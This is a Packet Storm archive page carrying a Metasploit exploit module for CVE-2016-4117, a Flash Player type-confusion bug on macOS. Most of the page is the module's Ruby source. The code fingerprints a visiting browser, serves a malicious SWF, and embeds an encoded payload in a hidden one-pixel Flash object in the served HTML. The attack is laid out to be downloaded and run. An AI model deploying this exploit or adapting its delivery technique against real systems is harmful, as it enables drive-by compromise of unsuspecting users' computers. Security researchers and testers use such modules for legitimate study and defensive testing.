exploit the possibilities

Adobe Flash Player DeleteRangeTimelineOperation Type Confusion

Adobe Flash Player DeleteRangeTimelineOperation Type Confusion
Posted Feb 9, 2019
Authored by bcook-r7, Genwei Jiang | Site metasploit.com

This Metasploit module exploits a type confusion on Adobe Flash Player, which was originally found being successfully exploited in the wild. This module has been tested successfully on: macOS Sierra 10.12.3, Safari and Adobe Flash Player 21.0.0.182, Firefox and Adobe Flash Player 21.0.0.182.

tags | exploit
advisories | CVE-2016-4117
MD5 | 4572485ddc8d1b209fd619e0f8397d3d

Adobe Flash Player DeleteRangeTimelineOperation Type Confusion

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion',
'Description' => %q(
This module exploits a type confusion on Adobe Flash Player, which was
originally found being successfully exploited in the wild. This module
has been tested successfully on:
macOS Sierra 10.12.3,
Safari and Adobe Flash Player 21.0.0.182,
Firefox and Adobe Flash Player 21.0.0.182.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Genwei Jiang', # FireEye original blog details on the vulnerability
'bcook-r7' # Imported Metasploit module
],
'References' =>
[
['CVE', '2016-4117'],
['BID', '90505'],
['URL', 'https://www.fireeye.com/blog/threat-research/2016/05/cve-2016-4117-flash-zero-day.html'],
['URL', 'http://www.securitytracker.com/id/1035826'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa16-02.html'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb16-15.html'],
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['osx'],
'BrowserRequirements' =>
{
source: /script|headers/i,
os_name: lambda do |os|
os =~ OperatingSystems::Match::MAC_OSX
end,
ua_name: lambda do |ua|
case target.name
when 'Mac OS X'
return true if ua == Msf::HttpClients::SAFARI
return true if ua == Msf::HttpClients::FF
end

false
end,
flash: lambda do |ver|
case target.name
when 'Mac OS X'
return true if Gem::Version.new(ver) <= Gem::Version.new('21.0.0.182')
end

false
end
},
'Targets' =>
[
[
'Mac OS X', {
'Platform' => 'osx',
'Arch' => ARCH_X64
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Apr 27 2016',
'DefaultTarget' => 0))
end

def exploit
@swf = create_swf

super
end

def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")

if request.uri.end_with? 'swf'
print_status('Sending SWF...')
send_response(cli, @swf, 'Content-Type' => 'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache')
return
end

print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), 'Pragma' => 'no-cache')
end

def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(3..7)}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)

if target.name.include? 'osx'
platform_id = 'osx'
end
html_template = %(<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>" Play="true"/>
</object>
</body>
</html>
)

return html_template, binding
end

def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4117', 'msf.swf')
File.binread(path)
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    22 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    2 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    50 Files
  • 6
    Feb 6th
    24 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    6 Files
  • 9
    Feb 9th
    1 Files
  • 10
    Feb 10th
    1 Files
  • 11
    Feb 11th
    22 Files
  • 12
    Feb 12th
    25 Files
  • 13
    Feb 13th
    16 Files
  • 14
    Feb 14th
    32 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    10 Files
  • 17
    Feb 17th
    2 Files
  • 18
    Feb 18th
    27 Files
  • 19
    Feb 19th
    32 Files
  • 20
    Feb 20th
    15 Files
  • 21
    Feb 21st
    17 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close